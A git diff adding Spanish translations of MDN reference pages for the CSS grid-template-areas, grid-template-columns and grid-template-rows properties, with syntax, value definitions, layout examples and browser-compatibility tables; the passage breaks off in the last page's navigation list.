diff --git a/files/es/web/css/grid-template-areas/index.html b/files/es/web/css/grid-template-areas/index.html
new file mode 100644
index 0000000000..b97dd3ef69
--- /dev/null
+++ b/files/es/web/css/grid-template-areas/index.html
@@ -0,0 +1,233 @@
+---
+title: grid-template-areas
+slug: Web/CSS/grid-template-areas
+translation_of: Web/CSS/grid-template-areas
+---
+<p><code>La propiedad CSS grid-template-areas</code> especifica nombres para cada una de las {{glossary("grid areas")}}.</p>
+
+<pre class="brush: css no-line-numbers">/* Keyword value */
+grid-template-areas: none;
+
+/* &lt;string&gt; values */
+grid-template-areas: "a b";
+grid-template-areas: "a b b"
+                     "a c d";
+
+/* Global values */
+grid-template-areas: inherit;
+grid-template-areas: initial;
+grid-template-areas: unset;
+</pre>
+
+<p>Estas áreas no están asociadas a ningún elemento particular de la cuadrícula, pero pueden referenciarse desde otras propiedades de posicionamiento en la cuadrícula: {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, y sus formas abreviadas {{cssxref("grid-row")}}, {{cssxref("grid-column")}}, and {{cssxref("grid-area")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>El contenedor de la cuadrícula no define ningún nombre para las áreas de la cuadrícula.</dd>
+ <dt><code>&lt;string&gt;+</code></dt>
+ <dd>Las filas se crean listando líneas de cadenas separadas, mientras que las columnas se reflejan en cada una de las celdas que aparecen en la cadena. Multiple named cell tokens within and between rows create a single named grid area that spans the corresponding grid cells. Unless those cells form a rectangle, the declaration is invalid.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html"><em>&lt;section id="page"&gt;
+  &lt;header</em>&gt;Header&lt;/header&gt;
+<em>  &lt;nav</em>&gt;Navigation&lt;/nav&gt;
+<em>  &lt;main</em>&gt;Main area&lt;/main&gt;
+<em>  &lt;footer</em>&gt;Footer&lt;/footer&gt;
+<em>&lt;/section&gt;</em></pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css; highlight[5-7]">#page {
+  display: grid;
+  width: 100%;
+  height: 250px;
+  grid-template-areas: "head head"
+                       "nav  main"
+                       "nav  foot";
+  grid-template-rows: 50px 1fr 30px;
+  grid-template-columns: 150px 1fr;
+}
+
+#page &gt; header {
+  grid-area: head;
+  background-color: #8ca0ff;
+}
+
+#page &gt; nav {
+  grid-area: nav;
+  background-color: #ffa08c;
+}
+
+#page &gt; main {
+  grid-area: main;
+  background-color: #ffff64;
+}
+
+#page &gt; footer {
+  grid-area: foot;
+  background-color: #8cffa0;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p><em>{{EmbedLiveSample("Example", "100%", "250px")}}</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-template-areas", "grid-template-areas")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("57.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatGeckoDesktop("52.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatOpera(44)}}<sup>[4]</sup></td>
+   <td>{{CompatSafari(10.1)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("57.0")}}<sup>[1]</sup></td>
+   <td>{{CompatChrome("57.0")}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoMobile("52.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatOperaMobile(44)}}</td>
+   <td>{{CompatSafari(10.3)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Implemented behind the <em>experimental Web Platform features</em> flag in <code>chrome://flags</code> since Chrome 29.0.</p>
+
+<p>[2] Implemented behind the preference <code>layout.css.grid.enabled</code> since Gecko 40.0 {{geckoRelease("40.0")}}, defaulting to <code>false</code>. Since Gecko 52.0 {{geckoRelease("52.0")}} it is enabled by default.</p>
+
+<p>[3] Internet Explorer and Edge implement an <a href="https://www.w3.org/TR/2011/WD-css3-grid-layout-20110407/">older version of the specification</a>, which doesn't define this property.</p>
+
+<p>[4] Implemented behind the <em>Enable experimental Web Platform features</em> flag in <code>chrome://flags</code> since Opera 28.0.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, {{cssxref("grid-template")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></em></li>
+ <li>Video tutorial: <em><a href="http://gridbyexample.com/video/grid-template-areas/">Grid Template Areas</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-colunms</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/web/css/grid-template-columns/index.html b/files/es/web/css/grid-template-columns/index.html
new file mode 100644
index 0000000000..4dd982b375
--- /dev/null
+++ b/files/es/web/css/grid-template-columns/index.html
@@ -0,0 +1,188 @@
+---
+title: grid-template-columns
+slug: Web/CSS/grid-template-columns
+translation_of: Web/CSS/grid-template-columns
+---
+<p>La propiedad CSS <strong><code>grid-template-columns</code></strong> define el nombre de las líneas y las funciones de tamaño de línea de {{glossary("grid column", "grid columns")}}.</p>
+
+<pre class="brush: css no-line-numbers">/* Keyword value */
+grid-template-columns: none;
+
+/* &lt;track-list&gt; values */
+grid-template-columns: 100px 1fr;
+grid-template-columns: [linename] 100px;
+grid-template-columns: [linename1] 100px [linename2 linename3];
+grid-template-columns: minmax(100px, 1fr);
+grid-template-columns: fit-content(40%);
+grid-template-columns: repeat(3, 200px);
+
+/* &lt;auto-track-list&gt; values */
+grid-template-columns: 200px repeat(auto-fill, 100px) 300px;
+grid-template-columns: minmax(100px, max-content)
+                       repeat(auto-fill, 200px) 20%;
+grid-template-columns: [linename1] 100px [linename2]
+                       repeat(auto-fit, [linename3 linename4] 300px)
+                       100px;
+grid-template-columns: [linename1 linename2] 100px
+                       repeat(auto-fit, [linename1] 300px) [linename3];
+
+/* Global values */
+grid-template-columns: inherit;
+grid-template-columns: initial;
+grid-template-columns: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Es una palabra clave que significa que no hay una cuadrícula explícita. Cualquier columna será generada implicitamente y su tamaño sera determinado por la propiedad {{cssxref("grid-auto-columns")}}.</dd>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Es una longitud no negativa.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Es un valor no negativo {{cssxref("percentage", "&lt;percentage&gt;")}}, relativo al tamaño del bloque del contenedor grid. Si el tamaño del contenedor de la cuadrícula depende del tamaño de sus vías, entonces el porcentaje debe de tratarse como <code>auto</code>.<br>
+ Las contribuciones de tamaño intrínseco de la vía puede ser ajustado al tamaño del contenedor de la cuadrícula, e incrementar el tamaño final de la vía por la cantidad mínima que permita mantener el porcentaje.</dd>
+ <dt>{{cssxref("&lt;flex&gt;")}}</dt>
+ <dd>Es una dimensión no negativa con la unidad <code>fr</code> especificando el factor de flexibilidad de la vía. Cada vía de tamaño- <code>&lt;flex&gt;</code> toma un trozo del espacio restante en proporción a su factor de flexibilidad. Cuando aparece en una notación <code>minmax()</code>, implica un mínimo automático (es decir, <code>minmax(auto, &lt;flex&gt;)</code>).</dd>
+ <dt id="max-content"><code>max-content</code></dt>
+ <dd>Es una palabra clave representando la mayor contribución máxima de contenido de los elementos de la cuadrícula ocupando las vías de ésta.</dd>
+ <dt><code>min-content</code></dt>
+ <dd>Es una palabra clave representando la mayor contribución mínima de contenido de los elementos de la cuadrícula ocupando las vías de ésta.</dd>
+ <dt>{{cssxref("minmax", "minmax(min, max)")}}</dt>
+ <dd>Es una notación funcional que define un rango de tamaño, mayor o igual que <em>min</em>, y menor o igual que <em>max</em>. Si <em>max</em> es menor a <em>min</em>, entonces <em>max</em> es ignorado y la función es tratada como <em>min</em>. Como un máximo, un valor <code>&lt;flex&gt;</code> ajusta el factor de flexibilad de la vía. Es inválido utilizarlo como un mínimo.</dd>
+ <dt id="auto"><code>auto</code></dt>
+ <dd>Es una palabra clave que es idéntica al contenido máximo si es un máximo. Como un mínimo representa el mínimo más grande (según lo especificado por {{cssxref("min-width")}}/{{cssxref("min-height")}}) de los elementos de la cuadrícula ocupando la vía.</dd>
+ <dd>
+ <p class="note">Nota: Los tamaños de vía <code>auto</code>  (y sólo los tamaños de vía <code>auto</code> ) pueden ser estirados por las propiedades {{cssxref("justify-content")}}.</p>
+ </dd>
+ <dt id="fit-content()"><code>{{cssxref("fit-content", "fit-content( [ &lt;length&gt; | &lt;percentage&gt; ] )")}}</code></dt>
+ <dd>Representa la fórmula <code>min(max-content, max(auto, <var>argument</var>))</code>, que se calcula de forma similar a <code>auto</code> (es decir, <code>minmax(auto, max-content)</code>), excepto que el tamaño de la vía se fija a <var>argument</var> si es mayor que el mínimo.</dd>
+ <dt>{{cssxref("repeat", "repeat( [ &lt;positive-integer&gt; | auto-fill | auto-fit ] , &lt;track-list&gt; )")}}</dt>
+ <dd>Representa un fragmento repetido de la lista de vías, permitiendo que un gran número de columnas que muestran un patrón recurrente se escriban de una manera más compacta.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">#grid {
+  display: grid;
+  width: 100%;
+  grid-template-columns: 50px 1fr;
+}
+
+#areaA {
+  background-color: lime;
+}
+
+#areaB {
+  background-color: yellow;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div id="areaA"&gt;A&lt;/div&gt;
+  &lt;div id="areaB"&gt;B&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Examples", "100%", "20px")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-template-columns", "grid-template-columns")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Condición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+
+
+<p>{{Compat("css.properties.grid-template-columns")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Propiedades CSS relacionadas: {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-template")}}</li>
+ <li>Guía de grid layout: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout#Grid_Tracks">Basic concepts of grid layout - Grid Tracks</a></em></li>
+ <li>Video tutorial: <em><a href="http://gridbyexample.com/video/series-define-a-grid/">Defining a Grid</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>Referencia CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guías</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Conceptos básicos de grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relación con otros métodos de layouts</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Colocación en línea</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Áreas de plantilla de cuadrícula</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout utilizando líneas de cuadrícula nombradas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-colocacion en grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">BAlineación de cajas en grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, valores lógicos y modos de escritura</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout y Accesibilidad</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout y Mejora Progresiva</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizando layouts comunes con grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Propiedades</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glosario</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/web/css/grid-template-rows/index.html b/files/es/web/css/grid-template-rows/index.html
new file mode 100644
index 0000000000..b04eed1ea3
--- /dev/null
+++ b/files/es/web/css/grid-template-rows/index.html
@@ -0,0 +1,215 @@
+---
+title: grid-template-rows
+slug: Web/CSS/grid-template-rows
+tags:
+  - CSS
+  - Propiedad CSS
+  - Referencia
+  - grid css
+translation_of: Web/CSS/grid-template-rows
+---
+<p>La propiedad CSS <strong><code>grid-template-rows</code></strong> define el nombre de las líneas y las funciones de tamaño de línea de {{glossary("grid rows", "grid rows")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-template-rows.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css no-line-numbers">/* Keyword value */
+grid-template-rows: none;
+
+/* &lt;track-list&gt; values */
+grid-template-rows: 100px 1fr;
+grid-template-rows: [linename] 100px;
+grid-template-rows: [linename1] 100px [linename2 linename3];
+grid-template-rows: minmax(100px, 1fr);
+grid-template-rows: fit-content(40%);
+grid-template-rows: repeat(3, 200px);
+grid-template-rows: subgrid;
+
+/* &lt;auto-track-list&gt; values */
+grid-template-rows: 200px repeat(auto-fill, 100px) 300px;
+grid-template-rows: minmax(100px, max-content)
+                       repeat(auto-fill, 200px) 20%;
+grid-template-rows: [linename1] 100px [linename2]
+                       repeat(auto-fit, [linename3 linename4] 300px)
+                       100px;
+grid-template-rows: [linename1 linename2] 100px
+                       repeat(auto-fit, [linename1] 300px) [linename3];
+
+/* Global values */
+grid-template-rows: inherit;
+grid-template-rows: initial;
+grid-template-rows: unset;
+</pre>
+
+<p>Esta propiedad puede especificarse como:</p>
+
+<ul>
+ <li>el valor de la palabra clave <code>none</code></li>
+ <li>o un valor de <code>&lt;track-list&gt;</code></li>
+ <li>o un valor de <code>&lt;auto-track-list&gt;</code>.</li>
+</ul>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Es una palabra clave que significa que no hay una cuadrícula explícita. Cualquier fila será generada implicitamente y su tamaño sera determinado por la propiedad {{cssxref("grid-auto-rows")}}.</dd>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Es una longitud no negativa.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Es un valor no negativo {{cssxref("percentage", "&lt;percentage&gt;")}}, relativo al tamaño del bloque del contenedor grid. Si el tamaño del contenedor de la cuadrícula depende del tamaño de sus vías, entonces el porcentaje debe de tratarse como <code>auto</code>.<br>
+ Las contribuciones de tamaño intrínseco de la vía puede ser ajustado al tamaño del contenedor de la cuadrícula, e incrementar el tamaño final de la vía por la cantidad mínima que permita mantener el porcentaje.</dd>
+ <dt>{{cssxref("&lt;flex_value&gt;","&lt;flex&gt;")}}</dt>
+ <dd>Es una dimensión no negativa con la unidad <code>fr</code> especificando el factor de flexibilidad de la vía. Cada vía de tamaño- <code>&lt;flex&gt;</code> toma un trozo del espacio restante en proporción a su factor de flexibilidad. Cuando aparece en una notación <code>minmax()</code>, implica un mínimo automático (i.e. <code>minmax(auto, &lt;flex&gt;)</code>).</dd>
+ <dt><code>max-content</code></dt>
+ <dd>Es una palabra clave representando la mayor contribución máxima de contenido de los elementos de la cuadrícula ocupando las vías de ésta.</dd>
+ <dt><code>min-content</code></dt>
+ <dd>Es una palabra clave representando la mayor contribución mínima de contenido de los elementos de la cuadrícula ocupando las vías de ésta.</dd>
+ <dt>{{cssxref("minmax", "minmax(min, max)")}}</dt>
+ <dd>Es una notación funcional que define un rango de tamaño, mayor o igual que <em>min</em>, y menor o igual que <em>max</em>. Si <em>max</em> es menor a <em>min</em>, entonces <em>max</em> es ignorado y la función es tratada como <em>min</em>. Como un máximo, un valor <code>&lt;flex&gt;</code> ajusta el factor de flexibilad de la vía. Es inválido utilizarlo como un mínimo.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Es una palabra clave que es idéntica al contenido máximo si es un máximo. Como un mínimo representa el mínimo más grande (según lo especificado por {{cssxref("min-width")}}/{{cssxref("min-height")}}) de los elementos de la cuadrícula ocupando la vía.</dd>
+ <dd>
+ <p class="note">Nota: Los tamaños de vía <code>auto</code>  (y sólo los tamaños de vía <code>auto</code> ) pueden ser estirados por las propiedades {{cssxref("align-content")}} and {{cssxref("justify-content")}}.</p>
+ </dd>
+ <dt>{{cssxref("fit-content", "fit-content( [ &lt;length&gt; | &lt;percentage&gt; ] )")}}</dt>
+ <dd>Representa la fórmula <code>min(max-content, max(auto, <var>argument</var>))</code>, que se calcula de forma similar a <code>auto</code> (es decir, <code>minmax(auto, max-content)</code>), excepto que el tamaño de la vía se fija a <var>argument</var> si es mayor que el mínimo <code>auto</code>.</dd>
+ <dt>{{cssxref("repeat", "repeat( [ &lt;positive-integer&gt; | auto-fill | auto-fit ] , &lt;track-list&gt; )")}}</dt>
+ <dd>Representa un fragmento repetido de la lista de vías, permitiendo que un gran número de filas que muestran un patrón recurrente se escriban de una manera más compacta.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Subgrid">subgrid</a></dt>
+ <dd>El valor <code><dfn>subgrid</dfn></code> indica que la cuadrícula adoptara la porción que ocupa su cuadrícula principal (padre) en ese eje. En lugar de ser indicado de forma explícita, los tamaños de la las filas y columnas de la cuadrícula se tomarán de la definición de la cuadrícula superior.</dd>
+</dl>
+
+<div class="blockIndicator warning">
+<p>El valor subgrid es del Nivel 2 de la especificación Grid y actualmente sólo tiene implementaciones en Firefox 71 y posteriores.</p>
+</div>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">#grid {
+  display: grid;
+  height: 100px;
+  grid-template-rows: 30px 1fr;
+}
+
+#areaA {
+  background-color: lime;
+}
+
+#areaB {
+  background-color: yellow;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div id="areaA"&gt;A&lt;/div&gt;
+  &lt;div id="areaB"&gt;B&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Result">Result</h3>
+
+<div class="hidden">
+<p>{{EmbedLiveSample("Examples", "40px", "100px")}}</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-template-rows", "grid-template-rows")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Grid 2", "#subgrids", "subgrid")}}</td>
+   <td>{{Spec2("CSS Grid 2")}}</td>
+   <td>Incorpora subgrid</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.grid-template-rows")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Propiedades CSS relacionadas: {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-template")}}</li>
+ <li>Guía de grid layout: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout#Grid_Tracks">Basic concepts of grid layout - Grid Tracks</a></em></li>
+ <li>Video tutorial: <em><a href="http://gridbyexample.com/video/series-define-a-grid/">Defining a Grid</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guías</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
